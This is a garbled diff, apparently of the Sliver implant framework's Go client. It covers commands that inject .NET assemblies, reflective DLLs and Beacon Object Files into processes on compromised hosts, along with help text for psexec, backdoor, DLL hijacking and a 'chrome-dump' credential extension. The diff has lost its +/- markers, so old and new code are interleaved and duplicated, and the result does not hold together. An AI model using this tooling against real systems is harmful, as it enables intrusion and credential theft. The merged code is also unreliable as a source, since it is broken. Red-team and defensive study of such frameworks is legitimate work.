// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
} else {
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
con.PrintInfof("%s extension has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
@@ -314,142 +245,86 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
}
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(callExtension.Output)
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(binData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionArgs, err = extensionArgsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
@@ -460,66 +335,5 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
|
||||
// BOF Specific code
|
||||
|
||||
type BOFArgsBuffer struct {
|
||||
Buffer *bytes.Buffer
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddData(d []byte) error {
|
||||
dataLen := uint32(len(d))
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddShort(d uint16) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddInt(d uint32) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddString(d string) error {
|
||||
stringLen := uint32(len(d)) + 1
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dBytes := append([]byte(d), 0x00)
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddWString(d string) error {
|
||||
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
strBytes := append([]byte(d), 0x00)
|
||||
utf16Data, err := encoder.Bytes(strBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stringLen := uint32(len(utf16Data))
|
||||
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
|
||||
outBuffer := new(bytes.Buffer)
|
||||
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return outBuffer.Bytes(), nil
|
||||
commandMap = make(map[string]extension)
|
||||
}
|
||||
@@ -41,7 +41,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
localPath := ctx.Args.String("local-path")
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
isIOC := ctx.Flags.Bool("ioc")
|
||||
|
||||
if localPath == "" {
|
||||
con.PrintErrorf("Missing parameter, see `help upload`\n")
|
||||
@@ -71,7 +70,6 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
IsIOC: isIOC,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -82,6 +82,31 @@ var (
|
||||
"windows/386": true,
|
||||
"windows/amd64": true,
|
||||
}
|
||||
|
||||
// validFormats = []string{
|
||||
// "bash",
|
||||
// "c",
|
||||
// "csharp",
|
||||
// "dw",
|
||||
// "dword",
|
||||
// "hex",
|
||||
// "java",
|
||||
// "js_be",
|
||||
// "js_le",
|
||||
// "num",
|
||||
// "perl",
|
||||
// "pl",
|
||||
// "powershell",
|
||||
// "ps1",
|
||||
// "py",
|
||||
// "python",
|
||||
// "raw",
|
||||
// "rb",
|
||||
// "ruby",
|
||||
// "sh",
|
||||
// "vbapplication",
|
||||
// "vbscript",
|
||||
// }
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
@@ -324,11 +349,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
|
||||
|
||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
|
||||
console.Bold, target, console.Normal,
|
||||
)
|
||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
|
||||
con.Printf("⚠️ Default implants do not support all commands/features.\n")
|
||||
prompt := &survey.Confirm{Message: "Compile a Default build?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
|
||||
@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.LoadExtensionStr: loadExtensionHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -89,7 +89,6 @@ var (
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
consts.SSHStr: sshHelp,
|
||||
consts.DLLHijackStr: dllHijackHelp,
|
||||
consts.GetPrivsStr: getPrivsHelp,
|
||||
|
||||
// Loot
|
||||
consts.LootStr: lootHelp,
|
||||
@@ -370,21 +369,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
Load an macro:
|
||||
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
|
||||
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
|
||||
Load an extension:
|
||||
load /tmp/chrome-dump
|
||||
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
|
||||
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
|
||||
chrome-dump
|
||||
├── chrome-dump.dll
|
||||
├── chrome-dump.so
|
||||
└── manifest.json
|
||||
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
|
||||
{
|
||||
"macroName":"chrome-dump", // name of the macro, can be anything
|
||||
"macroCommands":[
|
||||
"extensionName":"chrome-dump", // name of the extension, can be anything
|
||||
"extensionCommands":[
|
||||
{
|
||||
"name":"chrome-dump", // name of the command available in the sliver client (no space)
|
||||
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
|
||||
@@ -396,7 +395,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
|
||||
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
|
||||
"files":{
|
||||
"x64":"chrome-dump.dll",
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
|
||||
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -583,10 +582,7 @@ loot fetch
|
||||
`
|
||||
|
||||
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
|
||||
reactions do not support variables or logic, they simply allow you to run verbatim
|
||||
commands when an event occurs. To implement complex event-based logic we recommend
|
||||
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
|
||||
|
||||
[[.Bold]]Reactable Events:[[.Normal]]
|
||||
% 20s Triggered when a new session is opened to a target
|
||||
@@ -607,11 +603,7 @@ using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
)
|
||||
|
||||
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
|
||||
The built-in reactions do not support variables or logic, they simply allow you to
|
||||
run verbatim commands when an event occurs. To implement complex event-based logic
|
||||
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
|
||||
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
|
||||
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
# The command uses interactive menus to build a reaction. Simply run:
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
Hosts
|
||||
======
|
||||
|
||||
Command to access and manage host information.
|
||||
@@ -1,107 +0,0 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// HostsIOCCmd - Remove a host from the database
|
||||
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(host.IOCs) {
|
||||
con.Printf("%s\n", hostIOCsTable(host, con))
|
||||
} else {
|
||||
con.Println()
|
||||
con.PrintInfof("No IOCs tracked on host\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleBold)
|
||||
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
|
||||
for _, ioc := range host.IOCs {
|
||||
tw.AppendRow(table.Row{
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
|
||||
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var iocMap = make(map[string]*clientpb.IOC)
|
||||
for _, ioc := range host.IOCs {
|
||||
keys = append(keys, ioc.ID)
|
||||
iocMap[ioc.ID] = ioc
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
ioc := iocMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
ioc.Path,
|
||||
ioc.FileHash,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select an IOC:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return iocMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
